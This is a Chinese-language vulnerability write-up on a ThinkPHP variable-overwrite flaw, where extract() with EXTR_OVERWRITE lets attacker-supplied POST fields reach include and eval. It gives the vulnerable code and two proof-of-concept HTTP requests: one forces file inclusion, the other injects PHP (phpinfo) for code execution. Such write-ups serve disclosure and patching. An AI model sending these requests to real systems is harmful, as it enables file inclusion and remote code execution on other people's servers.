漏洞原理

实现自己的模版引擎不当，在模版渲染的情况下存在任意变量覆盖漏洞。。

漏洞详情

漏洞位置1

ThinkPHP/Library/Think/View.class.php

需要修改配置文件 指定TMPL_ENGINE_TYPE为php

1 if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
2            // 模板阵列变量分解成为独立变量 extract($this->tVar, EXTR_OVERWRITE); // 直接载入PHP模板 empty($content)?include $templateFile:eval('?>'.$content); 

漏洞位置2

ThinkPHP/Library/Think/Storage/Driver/File.class.php

1	/**
2     * 加载文件
3     * @access public
4     * @param string $filename  文件名
5     * @param array $vars  传入变量
6     * @return void */ public function load($filename,$vars=null){ if(!is_null($vars)) extract($vars, EXTR_OVERWRITE); include $filename; } 

漏洞复现

漏洞服务端代码：

public function test(){ $this->assign($_POST); echo $this->fetch(); } 

漏洞验证请求：对于漏洞位置2

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

filename=license.txt

调用堆栈

漏洞验证请求：对于漏洞位置1 ，可以命令执行

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

content=<?php phpinfo();

调用堆栈

参考：

https://mp.weixin.qq.com/s/IuKjTS0Q0VVzuoeSwqZ5Gw